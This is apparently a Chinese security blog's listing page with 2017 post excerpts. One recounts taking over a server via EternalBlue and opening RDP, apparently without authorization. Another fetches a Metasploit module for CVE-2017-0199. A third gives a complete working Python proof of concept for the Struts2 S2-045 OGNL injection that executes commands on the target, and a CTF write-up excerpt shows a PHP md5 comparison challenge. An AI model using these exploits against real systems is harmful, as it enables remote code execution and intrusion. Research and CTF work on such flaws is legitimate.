拿服务器

NSA 的系列漏洞爆出来时就通过 EternalBlue 拿了服务器，开了 3389，不过当时没能拿到正方加密的 Key，就放在那没动过了。

网易云音乐客户端好好的

April 23, 2017 • 3 Comments

收到律师函，立即删除该侵权文章。

CVE-2017-0199 复现

April 19, 2017 • Comment

0x01 通过Metasploit

参考链接

准备

更新 MSF 到最新。

下载对应 Exploit

cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb

S2-045 POC

March 7, 2017 • Comment

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()

poc()

操作系统识别的部分好像不好使。。。

ZCTF 2017 writeup

March 5, 2017 • Comment

WEB

web100

扫目录得到 .index.php.swp。

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr($flag, 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }##
}
die('ha?')
?>